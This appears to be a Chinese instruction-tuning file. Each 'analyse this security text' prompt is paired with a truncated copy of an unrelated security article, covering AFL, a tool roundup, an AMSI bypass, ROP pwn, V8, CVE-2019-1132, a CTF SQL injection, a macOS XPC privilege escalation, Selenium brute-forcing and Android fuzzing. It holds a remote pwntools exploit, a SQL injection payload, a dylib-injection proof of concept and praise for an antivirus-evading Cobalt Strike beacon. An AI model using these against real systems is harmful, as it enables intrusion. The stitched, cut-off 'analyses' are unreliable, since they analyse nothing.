##### 1.5 save_cmdline 函数
copy当前命令行参数，保存。
##### 1.6 check_if_tty 函数
检查是否在tty终端上面运行：读取环境变量 `AFL_NO_UI` ，如果存在，设置 `not_on_tty` 为1，并返回；通过 `ioctl`
读取window size，如果报错为 `ENOTTY`，表示当前不在一个tty终端运行，设置 `not_on_tty`。
##### 1.7 几个CPU检查相关的函数
  * `static void get_core_count(void)get_core_count()`：获取核心数量
  * `check_crash_handling()`：确保核心转储不会进入程序
  * `check_cpu_governor()`：检查CPU管理者
##### 1.8 **setup_shm** 函数
该函数用于设置共享内存和 `virgin_bits`，属于比较重要的函数，这里我们结合源码来解析一下：
    /* Configure shared memory and virgin_bits. This is called at startup. */EXP_ST void setup_shm(void) {  u8* shm_str;  if (!in_bitmap) memset(virgin_bits, 255, MAP_SIZE);   // 如果 in_bitmap 为空，调用 memset 初始化数组 virgin_bits[MAP_SIZE] 的每个元素的值为 ‘255’。  memset(virgin_tmout, 255, MAP_SIZE); // 调用 memset 初始化数组 virgin_tmout[MAP_SIZE] 的每个元素的值为 ‘255’。  memset(virgin_crash, 255, MAP_SIZE); // 调用 memset 初始化数组 virgin_crash[MAP_SIZE] 的每个元素的值为 ‘255’。  shm_id = shmget(IPC_PRIVATE, MAP_SIZE, IPC_CREAT | IPC_EXCL | 0600);  // 调用 shmget 函数分配一块共享内存，并将返回的共享内存标识符保存到 shm_...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

### 关于星链计划
「404星链计划」是知道创宇404实验室于2020年8月提出的开源项目收集计划，这个计划的初衷是将404实验室内部一些工具通过开源的方式发挥其更大的价值，也就是“404星链计划1.0”，这里面有为大家熟知的Pocsuite3、ksubdomain等等，很快我们就收到了许多不错的反馈。2020年11月，我们将目光投向了整个安全圈，以星链计划成员为核心，筛选优质、有意义、有趣、坚持维护的开源安全项目，为立足于不同安全领域的安全研究人员指明方向，也就是“404星链计划2.0”。为了更清晰地展示和管理星链计划的开源项目，2022年11月22日我们将1.0和2.0整合，推出改版后的「404星链计划」。
**Github地址：<https://github.com/knownsec/404StarLink>**
### 新项目发布
上一期我们收录了3个安全团队的项目，分别是：Antenna、murphysec、appshark（详情请点击：[新收录3个安全团队的开源工具！速看！](https://paper.seebug.org/1974/
"新收录3个安全团队的开源工具！速看！")）。新项目收获了诸多好评！
本期我们又收集到4个优质项目，一起来看看吧！
#### 01 ENScanGo
**项目链接**
<https://github.com/wgpsec/ENScan_GO>
**项目简介**
一款基于各大企业信息API的工具，解决在遇到的各种针对国内企业信息收集难题。一键收集控股公司ICP备案、APP、小程序、微信公众号等信息聚合导出。
**项目特点、亮点**
基于爱企查、天眼查、七麦数据、酷安市场、站长之家等API进行快速信息收集
可以通过公司名称获取到公司子公司、占股公司ICP备案信息、微博、ICP备案、APP、微信公众号 方便进行快速利用
#### 02 Heimdallr
**项目链接**
<https://github.com/graynjo/Heimdallr>
**项目简介**
一款完全被动监听的谷歌插件，用于高危指纹识别、蜜罐特征告警和拦截、机器特征对抗。
**项目特点、亮点**
  * 无任何外发流量，纯被动监听，不会触发安全设备封禁
  * 目前开源项目中蜜罐jsonp特征相对较多的规则库
  * 基于chrome devtools protocol的响应体特征识别逻辑
  * 包含了evercookie、webRTC、Canvas等常见机器指纹的对抗能力
#### 03 geacon_pro
**项目链接**
<https://github.com/H4de5-7/geacon_pro>
**项目简介**
  * 本项目跨平台重构了Cobaltstrike Beacon，适配了大部分Beacon的功能，行为对国内主流杀软免杀。
  * 本项目基于geacon项目对cobaltstrike的beacon进行了重构，并适配了大部分Beacon的功能。
  * 传统cs的免杀偏向于如何加载上线，但是杀软对beacon的特征查得非常严，尤其是卡巴这种查内存的，因此不如自己重构一个。
  * 目前实现的功能具备免杀性，可过Defender、360核晶、卡巴斯基（除内存操作外，如注入原生cs的dll）、火绒。
  * 目前提供了免杀执行bypassuac和免杀执行powershell的方法。
  * 更多功能请至项目主页查看
**项目特点、亮点**
  * 免杀
免杀主要体现在三个方面:
由于是重构的，因此没有beacon的特征，针对beacon特征的杀软是检测不出来的。
golang本身具备一定的免杀性。
针对各功能实现了免杀，cs部分不免杀的功能得到了更换。
该项目会持续跟进免杀的技术，保持项目的免杀性，并将免杀的技术与工具集成进来，希望可以做成不仅限cs功能的跨平台后渗透免杀工具。
目前提供了免杀执行bypassuac和免杀执行powershell的方法。
目前实现的功能免杀，可过Defender、360核晶、卡巴斯基（除内存操作外，如注入原生cs的dll）、火绒。
  * 跨平台
目前支持windows、linux、mac的上线与使用，解决了传统cs的beacon无法跨平台上线的问题。在后续会添加linux与mac平台下后渗透功能。
  * 对cs的适配
cs作为传统的渗透工具，使用的人数众多，该项目对cs大部分功能进行了适配，并运行较稳定，师傅们不用去找其他的C2工具，使用熟悉的cs即可。
  * 代码完全开源
cs的beacon代码只能通过逆向分析，该项目可以作为beacon的二次开发的参考项目，并且会逐步添加师傅们的需求，后续会适配cs的其他功能或者cs暂未...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 如何绕过AMSI
|
##### 译文声明
本文是翻译文章，文章原作者 contextis，文章来源：contextis.com
原文地址：<https://www.contextis.com/en/blog/amsi-bypass>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
AMSI的全称是反恶意软件扫描接口（Anti-Malware Scan Interface），是从Windows
10开始引入的一种机制。AMSI是应用程序和服务能够使用的一种接口，程序和服务可以将“数据”发送到安装在系统上的反恶意软件服务（如Windows
Defender）。
在基于场景的资产评估或者基于数据的红队评估中，许多渗透测试人员都会与AMSI打交道，因此对相关功能也比较了解。AMSI能够提供更强大的保护，可以为反恶意软件产品提供更透彻的可见性，因此能防御攻击过程中常用的一些现代工具、战术以及过程（TTP）。最相关的操作就是PowerShell无文件payload，在实际环境中，攻击者及渗透测试人员都在使用这种技术来完成任务。
正因为此，AMSI是大家广泛研究的一个主题，能否绕过AMSI已经成为攻击能否成功的决定性因素。在本文中，我们介绍了AMSI的内部工作原理，也介绍了一种新的绕过方法。
在本文中，我们将涉及如下几方面内容：
  * Windows内部基本工作原理（比如虚拟地址空间、Windows API）
  * Windows调试器的基本用法，以便分析并反汇编目标程序（这里我们使用的是`powershell.exe`）
  * Frida基本用法，以便hook函数
  * PowerShell脚本的基础知识
## 0x01 AMSI工作原理
前面提到过，服务和应用程序可以通过AMSI来与系统中已安装的反恶意软件通信。为了完成该任务，AMSI采用了hook方法。比如，AMSI会hook
[WSH（Windows Scripting Host）](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wscript)及[PowerShell](https://docs.microsoft.com/en-us/powershell/scripting/overview?view=powershell-6)来去混淆并分析正在执行的代码内容。这些内容会被“捕获”，并在执行之前发送给反恶意软件解决方案。
在Windows 10上，实现AMSI的所有组件如下所示：
  * UAC（用户账户控制），安装EXE、COM、MSI或者ActiveX时提升权限
  * PowerShell（脚本、交互式使用以及动态代码执行）
  * Windows Script Host（`wscript.exe`或者`cscript.exe`）
  * JavaScript以及VBScript
  * Office VBA宏
AMSI[整体架构](https://docs.microsoft.com/en-us/windows/desktop/AMSI/images/amsi7archi.jpg)如下图所示：
比如，当创建PowerShell进程时，AMSI动态链接库（DLL）会被映射到该进程的虚拟地址空间中（Windows为该进程提供的虚拟地址范围）。DLL是包含导出函数及内部函数的一个模块，可以被其他模块所使用。内部函数只能在DLL中使用，导出函数可以被其他模块使用，也能在DLL内部使用。在这个例子中，PowerShell会使用AMSI
DLL的导出函数来扫描用户输入。如果判断这些数据无害，则用户输入数据就会被执行，否则就会阻止执行操作，在日志中记录[1116事件](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/troubleshoot-windows-defender-antivirus)（`MALWAREPROTECTION_BEHAVIOR_DETECTED`）。
使用PowerShell触发相关事件（ID 1116）时如下所示：
需要注意的是，AMSI不单单可以用来扫描脚本、代码、命令或者cmdlet，也可以用来扫描任何文件、内存或者数据流，如字符串、即时消息、图像或者视频。
## 0x02 枚举AMSI函数
前文提到过，实现AMSI的应用使用到了AMSI的导出函数，但究竟是哪些函数，具体过程如何？更为重要的是，哪些函数负责检测，可以阻止我们执行“恶意”内容？
这里我们可以使用两种方法来...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

本文为笔者初学pwn的知识梳理，如有错误之处，敬请斧正。
* * *
### 栈溢出漏洞
#### 原理
栈是一种后进先出的数据结构。在调用函数的时候，都会伴随着函数栈帧的开辟和还原（也称平栈）。栈结构示意图如下（以32位程序为例）：
如图所示，栈空间是从高地址向低地址增长的。但是，若函数中用到了数组作为局部变量时，向数组的赋值时的增长方向是从低地址到高地址的，与栈的增长方向相反。若对未限制数组的赋值边界，则可能对数组进行恶意的越界写入，便会把栈中的数据覆盖，造成栈溢出漏洞。常用的造成栈溢出漏洞的函数有：scanf,gets,strcpy,strcat,sprintf等。
如果对覆盖栈的内容进行精心构造，就可以在返回地址的位置填入我们希望函数返回的位置，从而劫持程序的执行。由于在编写栈利用 shellcode
过程中都需要用到ret指令，所以这样的利用方式被成为ROP。
#### 面对返回编程
ROP(Return-oriented programming)是指面向返回编程。在32位系统的汇编语言中，ret相当于pop EIP，即将栈顶的数据赋值给
EIP，并从栈弹出。所以如果控制栈中数据，是可以控制程序的执行流的。由于 NX 保护让我们无法直接执行栈上的
shellcode，那么就可以考虑在程序的可执行的段中通过 ROP 技术执行我们的 shellcode。初级的 ROP 技术包括
ret2text，ret2shellcode，ret2syscall，ret2libc。
#### ret2text
ret2text是指返回到代码段执行已有的代码。在 pwn 题中这种情况通常出现在程序里已经有system("/bin/sh")或system("cat
flag")。需要做的就是把这些调用的地址覆盖到返回地址处即可。
下面使用攻防世界中的 level0 题目作为例子进行解释。
checksec 指令查看程序的保护情况，有 NX 保护（No-eXecute，即数据不可执行保护）。考虑使用 ROP 技术进行利用。
漏洞代码：
可以看到，read函数可以读取0x200字节存入缓冲区，但是缓冲区只有0x80字节，可造成越界写入。
system 函数：
使用 pwndgb 插件的 cyclic 指令确定出返回的偏移为
136，所以构造填充字符大小为136个字节，后面紧接的便是返回的地址。控制这个返回的地址即可控制程序的执行流执行到我们指定的 system 函数。
EXP如下：
    from pwn import *
    r = remote("111.200.241.244", 57216)
    payload = 'A' * 136 + p64(0x00400596)
    r.sendlineafter("Hello, World\n", payload)
    r.interactive()
在本地调试时执行脚本后可以看到，在执行vulnerable_function执行返回时， 0x88(136) 的位置已经被修改为system函数的地址。
#### ret2shellcode
如果 pwn 题中没有提供system函数，我们可以自己编写 shellcode 来执行相关 system 函数。
在没有 NX 保护的情况下，可以直接将函数的返回地址覆盖为 shellcode 的地址，在函数返回时控制程序执行流到 shellcode 出执行。被覆盖
shellcode 后的栈空间的形态如下图所示（图中只展示一种 shellcode 的位置，但实际上可以根据具体情况选择）：
其中 padding 的长度可以使用 pwndbg 插件 中的 cyclic或者 peda 插件
pattern指令生成字符串模板并结合动态调试观察栈来确定。在 pwn 题目中，我们一般可以通过找到system函数地址，通过 shellcode
调用执行，就可以拿到 flag。所以在写 shellcode 过程中，我们按照 linux
系统调用的方式调用system函数的底层的sys_execve函数，传入/bin/sh作为参数即可。shellcode 可以使用 pwntools
工具编写，若需要更精简或特殊定制的
shellcode，也可以自己编写。具体的编写方式可以参考博客<https://www.cxyzjd.com/article/A951860555/110936441。需注意的是，在生成>
shellcode 之后需要进行字符的填充，使其保证具有足够的字节数覆盖到返回地址处。
我们用以下例子进行演示说明：
    #include<stdio.h>
    void func(){
   ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

**作者：Hcamael@知道创宇404实验室**
**相关阅读：[从 0 开始学 V8 漏洞利用之环境搭建（一）](https://paper.seebug.org/1820/ "从 0 开始学 V8
漏洞利用之环境搭建（一）")**
经过一段时间的研究，先进行一波总结，不过因为刚开始研究没多久，也许有一些局限性，以后如果发现了，再进行修正。
# 概述
我认为，在搞漏洞利用前都得明确目标。比如打CTF做二进制的题目，大部分情况下，目标都是执行`system(/bin/sh)`或者`execve(/bin/sh,0,0)`。
在v8利用上，我觉得也有一个明确的目标，就是执行任意`shellcode`。当有了这个目标后，下一步就是思考，怎么写`shellcode`呢？那么就需要有写内存相关的洞，能写到可读可写可执行的内存段，最好是能任意地址写。配套的还需要有任意读，因为需要知道rwx内存段的地址。就算没有任意读，也需要有办法能把改地址泄漏出来（V8的binary保护基本是全开的）。接下来就是需要能控制RIP，能让RIP跳转到`shellcode`的内存段。
接下来将会根据该逻辑来反向总结一波v8的利用过程。
# 调试V8程序
在总结v8的利用之前，先简单说说v8的调试。
1.把该文件`v8/tools/gdbinit`，加入到`~/.gdbinit`中：
    $ cp v8/tools/gdbinit gdbinit_v8
    $ cat ~/.gdbinit
    source /home/ubuntu/pwndbg/gdbinit.py
    source /home/ubuntu/gdbinit_v8
2.使用`%DebugPrint(x);`来输出变量x的相关信息
3.使用`%SystemBreak();`来抛出`int3`，以便让gdb进行调试
### 示例
    $ cat test.js
    a = [1];
    %DebugPrint(a);
    %SystemBreak();
如果直接使用d8运行，会报错：
    $ ./d8 test.js
    test.js:2: SyntaxError: Unexpected token '%'
    %DebugPrint(a);
    ^
    SyntaxError: Unexpected token '%'
因为正常情况下，js是没有`%`这种语法的，需要加入`--allow-natives-syntax`参数：
    $ ./d8 --allow-natives-syntax test.js
    DebugPrint: 0x37640804965d: [JSArray]
     - map: 0x376408203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
     - prototype: 0x3764081cc139 <JSArray[0]>
     - elements: 0x3764081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)]
     - length: 1
     - properties: 0x37640800222d <FixedArray[0]>
     - All own properties (excluding elements): {
        0x376408004905: [String] in ReadOnlySpace: #length: 0x37640814215d <AccessorInfo> (const accessor descriptor), location: descriptor
     }
     - elements: 0x3764081d30d1 <FixedArray[1]> {
               0: 1
     }
    0x376408203a41: [Map]
     - type: JS_ARRAY_TYPE
     - instance size: 16
     - inobject properties: 0
     - elements kind: PACKED_SMI_ELEMENTS
     - unused property fields: 0
     - enum length: invalid
     - back pointer: 0x3764080023b5 <undefined>
     - prototype_validity cell: 0x376408142405 ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# CVE‑2019‑1132：利用Windows 0day的攻击活动

##### 译文声明
本文是翻译文章，文章原作者 welivesecurity.com，文章来源：welivesecurity
原文地址：<https://www.welivesecurity.com/2019/07/10/windows-zero-day-cve-2019-1132-exploit/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
2019年6月，ESET研究人员发现攻击者利用一个0day漏洞对东欧地区发起攻击。
攻击者滥用了Windows系统中的一个本地权限提升漏洞，更具体一点是`win32k.sys`组件中对NULL指针解引用（dereference）的一个漏洞。我们在发现并分析这个漏洞利用技术后，就第一时间反馈给MSRC，MSRC及时修复了漏洞并发布了安全补丁。
该漏洞影响如下Windows版本：
    Windows 7 for 32-bit Systems Service Pack 1
    Windows 7 for x64-based Systems Service Pack 1
    Windows Server 2008 for 32-bit Systems Service Pack 2
    Windows Server 2008 for Itanium-Based Systems Service Pack 2
    Windows Server 2008 for x64-based Systems Service Pack 2
    Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1
    Windows Server 2008 R2 for x64-based Systems Service Pack 1
本文重点关注该漏洞的技术细节及利用方式。在另一篇文章中，我们将深入分析这个恶意样本及其他相关信息。
## 0x01 漏洞利用
这几年来研究人员公布了Windows
`win32k.sys`组件的几个漏洞，与这些漏洞类似，此次攻击者利用的也是弹出菜单对象。我们在2017年也[分析](https://www.welivesecurity.com/2017/05/09/sednit-adds-two-zero-day-exploits-using-trumps-attack-syria-decoy/)过Sednit攻击组织利用过的本地提权漏洞，当时攻击者利用的也是菜单对象，与此次攻击方法非常类似。
漏洞利用过程中创建了两个窗口，分别用于第一及第二漏洞利用阶段。对于第一个窗口，漏洞利用程序会使用`CreatePopupMenu`以及`AppendMenu`函数来创建弹出菜单对象并追加菜单项。此外，利用程序还会设置`WH_CALLWNDPROC`以及`EVENT_SYSTEM_MENUPOPUPSTART`类型的hook。
随后利用程序会使用`TrackPopupMenu`函数来显示该菜单。此时hook
`EVENT_SYSTEM_MENUPOPUPSTART`对应的代码会被执行。该代码会向目标菜单依次发送`MN_SELECTITEM`、`MN_SELECTFIRSTVALIDITEM`以及`MN_OPENHIERARCHY`消息，尝试打开菜单中第一个可用项。
下一个步骤对触发漏洞来说非常重要。漏洞利用程序必须及时抓住初始菜单已创建、且子菜单即将创建的时机。为了完成该任务，利用程序专门包含某些代码，用来处理在`WH_CALLWNDPROC`
hook中的`WM_NCCREATE`消息。当利用代码检测到系统处于该状态时，就会向第一个菜单发送`MN_CANCELMENUS`（`0x1E6`）消息，取消该菜单。然而，该菜单对应的子菜单依然即将会被创建。
现在如果我们在内核模式中观察这个子菜单对象，可以看到`tagPOPUPMENU‑>ppopupmenuRoot`的值等于`0`。该状态允许攻击者在这个内核结构中使用该元素作为NULL指针执行dereference操作。利用代码会在`0x00`地址处分配一个新页，而该地址会被内核当成一个`tagPOPUPMENU`对象（如图1所示）。
图1. `tagPOPUPMENU`内核结构
此时攻击者会使用第二个窗口。这里漏洞利用的主要目标是翻转第二个窗口`tagWND`结构中的`bServerSideWindowProc`位，成功翻转后内核模式中就会执行`WndProc`过程。
为了完成该任务，攻击者会调用`user32.dll`库中未导出的`HMValidateHandle`...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

## Day-13题解(By l1nk3r)
题目如下：
在做Day13之前，我们先来了解一些需要用到的基础知识。
  * 对于传入的非法的 **$_GET** 数组参数名，PHP会将他们替换成 **下划线** 。经过fuzz，有以下这些字符：
  * 当我们使用HPP（HTTP参数污染）传入多个相同参数给服务器时，PHP只会接收到后者的值。（这一特性和中间件有关系）
  * 通过 **$_SERVER['REQUEST_URI']** 方式获得的参数，并不会对参数中的某些特殊字符进行替换。
这里的代码中有两个waf。
第一个WAF在代码 **第29行-第30行** ，这里面采用了 **dowith_sql()** 函数，跟进一下 **dowith_sql()**
函数，该函数主要功能代码在 **第19-第26行** ，如果 **$_REQUEST** 数组中的数据存在
**select|insert|update|delete** 等敏感关键字或者是字符，则直接 **exit()** 。如果不存在，则原字符串返回。
而第二个WAF在代码 **第33行-第39行** ，这部分代码通过 **$_SERVER['REQUEST_URI']** 的方式获取参数，然后使用
**explode** 函数针对 **&** 进行分割，获取到每个参数的参数名和参数值。然后针对每个参数值调用
**dhtmlspecialchars()** 函数进行过滤。
跟进一下 **dhtmlspecialchars()** 函数，发现其相关功能代码在 **第3行-第14行** ，这个函数主要功能是针对 **' &',
'"', '<', '>', '(', ')'** 等特殊字符进行过滤替换，最后返回替换后的内容。从 **第44行和第45行**
的代码中，我们可以看到这题的参数都是通过 **REQUEST** 方式获取。我们可以先来看个例子：
第一次 **$_REQUEST** 仅仅只会输出 **i_d=2** 的原因是因为php自动将 **i.d** 替换成了 **i_d**
。而根据我们前面说的第二个特性，PHP取最后一个参数对应的值，因此第一次 **$_REQUEST** 输出的是2。
第二次 **$_REQUEST** 会输出 **i_d=select &i.d=2** 是因为 **\$_SERVER['REQUEST_URI']**
并不会对特殊的符号进行替换，因此结果会原封不动的输出。所以这题的payload可以根据下面这个思维导图进行构造：
  * 我们通过页面请求 **i_d=padyload &i.d=123** 。
  * 当数据流到达第一个WAF时，php会将参数中的某些特殊符号替换为下划线。因此便得到了两个 **i_d** ，所以此时的payload变成了 **i_d=payload &i_d=123** 。
  * 前面我们介绍了，如果参数相同的情况下，默认 **第二个参数传入的值** 会覆盖 **第一个参数传入的值** 。因此此时在第一个WAF中 **i_d=123** ，不存在其他特殊的字符，因此绕过了第一个WAF。
  * 当数据流到达进入到第二个WAF时，由于代码是通过 **$_SERVER['REQUEST_URI']** 取参数，而我们前面开头的第三个知识点已经介绍过了 **$_SERVER['REQUEST_URI']** 是不会将参数中的特殊符号进行转换，因此这里的 **i.d** 参数并不会被替换为 **i_d** ，所以此时正常来说 **i.d** 和 **i_d** 都能经过第二个WAF。
  * 第二个WAF中有一个 **dhtmlspecialchars()** 函数，这里需要绕过它，其实很好绕过。绕过之后 **i_d=payload &i.d=123** 便会进入到业务层代码中，执行SQL语句，由于这里的SQL语句采用拼接的方式，因此存在SQL注入。
因此最后payload如下：
    http://127.0.0.1/index.php?submit=&i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=123
## Day14题解：(By 七月火)
这次的CTF题目考察的是一个SQL注入问题，且解法有两种（PHP版本为5.2.x）。我们先来看一下整个网站的框架。
    www                      应用部署目录
     ├─css                   存放css静态文件
     ├─image                 存放图片文件
     ├─config.php   ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 一次对某厂商MacOS客户端软件本地提权漏洞的挖掘与利用

##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：[houjingyi](https://houjingyi233.com/)`[@360CERT](https://github.com/360CERT
"@360CERT")`
MacOS客户端软件中经常出现开发者使用XPC没有正确进行验证导致的本地提权漏洞。其实这个漏洞也是无意发现的，因为自己本来也在用这个软件，所以顺手就审计了一下。
首先这个软件是一个垃圾清理软件，注意到后台有一个root权限运行的daemon进程，那么我们直接IDA反编译，找到shouldAcceptNewConnection函数。
开发者还是有一定安全意识的，似乎这里看起来没有什么问题，用codesign检查了程序的签名，所有可执行文件flags=0x10000，无法进行dylib注入。官网上下载链接是`www.xxxx.com/xxx_4.4.0.dmg`，我直接把下载链接改成`www.xxxx.com/xxx_1.1.0.dmg`，下载到了一个非常老的版本，在这个版本中找到了一个flags=0x0的可执行文件，也就是说我们可以dylib注入到这个版本的可执行文件然后与daemon进程通信，这样就绕过了验证，可以调用daemon进程导出的函数。
class-dump一下：
我们先来试试能不能调用导出的buildXPCConnectChannel函数，因为这个函数没有参数，比较简单。在IDA中可以看到该函数会打印一个log：
代码大概是下面这样的：
    #import <Foundation/Foundation.h>
    static NSString* kXPCHelperMachServiceName = @"xxx";
    @protocol xxxDaemonXPCProtocol <NSObject>
    - (void)sendDataToDaemon:(NSData *)arg1 withReply:(void (^)(NSData *))arg2;
    - (void)buildXPCConnectChannel;
    @end
    __attribute__((constructor))
    static void customConstructor(int argc, const char **argv)
    {
        NSString*  _serviceName = kXPCHelperMachServiceName;
        NSLog(@"test");
        NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
        [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(xxxDaemonXPCProtocol)]];
        [_agentConnection resume];
        [_agentConnection.remoteObjectProxy buildXPCConnectChannel];
        NSLog(@"Done!");
        return;
    }
编译：
`gcc -dynamiclib -framework Foundation poc.m -o poc.dylib`
运行：
`DYLD_INSERT_LIBRARIES=poc.dylib /Users/hjy/Downloads/xxx`
看一下系统日志：
接下来我们想要证明这个漏洞是有实际危害的，通过前面class-dump的结果可以知道还有一个sendDataToDaemon的导出函数，在IDA中看到这个函数调用了cmdDispather函数：
在cmdDispather函数中基本上就可以用root权限做任何事情了：
为了省事，我决定编写一个能够删除任意文件的POC。我可以通过调试程序下断点的方法去弄清楚这里的参数是什么，因为一开始就说了这是一个垃圾清理软件，当我用垃圾清理或者程序删除之类的功能去删除root用户文件的时候前台进程是没有权限删除的，它肯定是调用sendDataToDaemon函数把消息发给daemon进程让daemon进程去删的，所以调试程序触发断点很方便...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

历史内容：
  * 第一篇：<https://xz.aliyun.com/t/9701>
本篇主要聊一聊框架核心模块：规则体系。
## 0x01 写在前面
在上篇文章提到过，[xray](https://docs.xray.cool/#/guide/poc) 有着完善的规则体系，而且业内同志提交的 poc
积极性很高，所以更新较快，质量也很高，有很多值得借鉴之处。因此我想在 xray 规则的基础上设计一套规则体系，既能兼容 xray 的
poc，又能融入自己的一些想法。
xray poc 的运行原理，简单来说就是根据`自定义的规则`对`原始请求`变形，然后获取变形后的响应，再检查响应是否匹配规则中定义的表达式。
我认为这里有几个关键点：
  1. 原始请求来源
  2. 兼容 xray 现在规则
  3. 扩展 xray：组包时更细致的分类
## 0x02 原始请求来源
原始请求就是根据待检测目标构造 HTTP 请求包，构造原始包时通常有以下来源：
  1. url 。根据输入的 url 补充基础请求头，生成基础的 get http 请求，类似于`Burpsuite Repeater`的`Parse URL As Request`。
核心代码：
    func GenOriginalReq(url string) (*http.Request, error) {
        // 生成原始请求，如果没有协议默认使用http
        if strings.HasPrefix(url, "http://") || strings.HasPrefix(url, "https://") {
        } else {
            url = "http://" + url
        }
        originalReq, err := http.NewRequest("GET", url, nil)
        if err != nil {
            log.Error("util/requests.go:GenOriginalReq original request gen error", url, err)
            return nil, err
        }
        originalReq.Header.Set("Host", originalReq.Host)
        originalReq.Header.Set("Accept-Encoding", "gzip, deflate")
        originalReq.Header.Set("Accept","*/*")
        originalReq.Header.Set("User-Agent", conf.GlobalConfig.HttpConfig.Headers.UserAgent)
        originalReq.Header.Set("Accept-Language","en")
        originalReq.Header.Set("Connection","close")
        return originalReq, nil
    }
  1. 直接输入 http 报文文件。解析该文件，生成 http 请求，类似于`Burpsuite Repeater`的`Parse from file`。go 语言可使用原生 http 包的`http.ReadRequest`方法实现。
核心代码：
    func GenOriginalReqFromRaw(filePath string) (*http.Request, error)  {
        raw, err := ioutil.ReadFile(filePath)
        if err != nil {
            c.JSON(msg.ErrResp("请求报文文件解析失败"))
            return nil, err
        }
        oreq, err := http.ReadRequest(bufio.NewReader(bytes.NewReader(raw)))
        if err != nil {
            return nil, err
        }
        if !oreq.URL.IsAbs() {
            scheme := "http"
            oreq.URL.Scheme = scheme
           ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Selenium&ddddocr识别验证码自动化爆破
# Selenium是什么？
Selenium可以模拟真实用户对URL中的元素进行操作。部分网站采用了一些流量校验算法，会将数据包中的进行加密，然后与计算出来的值进行比对，如果不能解密就加密的算法就很难使用burp爆破，及修改数据包的功能，而使用Selenium可以模拟人操作网站的行为，用户输入URL打开网站，选中输入框，输入内容，点击登录框。如果目标网站开启了一些校验，这些也会自动经过校验处理。而burp是直接跳过了这些操作，直接向服务器发送数据包。
# 前期准备
需要保证浏览器的大版本号，和浏览器的驱动程序匹配
  * 下载Selenium[支持的浏览器](https://vikyd.github.io/download-chromium-history-version/#/)
  * 下载Selenium[浏览器驱动程序](https://www.selenium.dev/documentation/webdriver/getting_started/install_drivers/)
## [安装Selenium
py库](https://www.selenium.dev/documentation/webdriver/getting_started/install_library/)
`pip3 install selenium`
## 如何使用？
自己的默认浏览器的主版本号，需要与驱动的主版本号相同
经过上面的操作，下面需要测试python是否能够启动浏览器，能否加载浏览器驱动。
可以使用下面的代码来进行测试
    from selenium import webdriver
    driver = webdriver.Chrome(executable_path=r'C:\WebDriver\bin\chromedriver.exe') #指定crome驱动位置
    ActionChains(browser).key_down(Keys.CONTROL).send_keys("t").key_up(Keys.CONTROL).perform() #防止浏览器退出
执行后成功弹出浏览器。
下面来了解一下Selenium的常见语法
## 常见语法
    title = driver.title # 获取标题
    driver.implicitly_wait(0.5) # 等待0.5秒
    URL操作
    driver.get() # 打开新网页
    driver.refresh() # 刷新网页
    查找元素
    search_box = driver.find_element(by=By.NAME, value="q") # 通过NAME来寻找元素
    search_button = driver.find_element(by=By.ID, value="btnK") # 通过ID来寻找元素
    find_pass = driver.find_element(by=By.XPATH, value='//*[@id="app"]/div/div[1]/div[2]/div[1]/div/div[2]/input') # 通过XPATH的方式来寻找元素
    操作元素
    search_box.send_keys("Selenium")  # 输入内容
    search_button.click()   # 点击按钮
    SearchInput.clear() # 清除内容
    获取元素信息
    value = search_box.get_attribute("value")
    结束会话
    driver.quit()
## 大致流程
查找元素 -> 输入内容 -> 点击按钮 -> 获取返回的元素信息(判断是否登录成功)
## 打开网页
尝试让python程序打开一个网站。这里使用Pikachu的漏洞靶场来测试爆破功能
    from selenium import webdriver
    def main():
        driver = webdriver.Chrome(executable_path=r'C:\WebDriver\bin\chromedriver.exe') #指定crome驱动位置
        driver.get('http://192.168.180.152/06/vul/burteforce/bf_form.php')#打开指定URL
        ActionChains(browser).key_down(Keys.CONTRO...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

原文：<https://gamozolabs.github.io/fuzzing/2018/10/18/terrible_android_fuzzer.html>
译者注：原作者的文风比较活泼，所以，上车前，请各位做好相应的心理准备。
**免责声明**
* * *
请读者注意，这里讨论的安全问题并不是通用的Android漏洞，而是只影响某种型号的设备，所以，这些漏洞的危害程度都是有限的。另外，本文旨在为读者介绍如何亲自编写一个简陋的Android
fuzzer，然后设法加以改进，而不是为了严肃地讨论Android的安全性问题。
**代码下载地址**
* * *
[Slime Tree Repo ](https://github.com/gamozolabs/slime_tree "Slime Tree Repo
")
**简介**
* * *
在本文中，我们首先会动手打造一款简陋的Android fuzzer，然后进行改进，从而享受不断进步的喜悦之情。
在进行Android设备模糊测试时，我们需要做的第一件事就是获取手机上的设备列表，从而找出可以访问的设备。这很简单，对吧？为此，我们可以进入/dev目录，并运行ls
-l命令，然后，从中查找所有用户都具有读或写权限的设备即可。嗯...对于selinux，情况并非如此，因为它还要求我们对selinux的策略有所了解才行。
为了解决这个问题，让我们先从最简单的地方下手：编写一个程序，只要求它能够在要挖掘漏洞的上下文中运行即可。该程序的功能非常简单，列出手机上的所有文件，并尝试打开它们，以进行读写操作。这样，我们就能得到一个列表，其中包含了我们在手机上有权打开的所有文件/设备。在本文中，我们将使用adb
shell，因此，我们是在`u:r:shell:s0`上下文中运行。
**遍历所有文件**
* * *
好吧，我想要快速遍历手机上的所有文件，并判断自己是否对其具有读写权限。这件事情并不太难，完全可以通过Rust来实现。
    /// Recursively list all files starting at the path specified by `dir`, saving
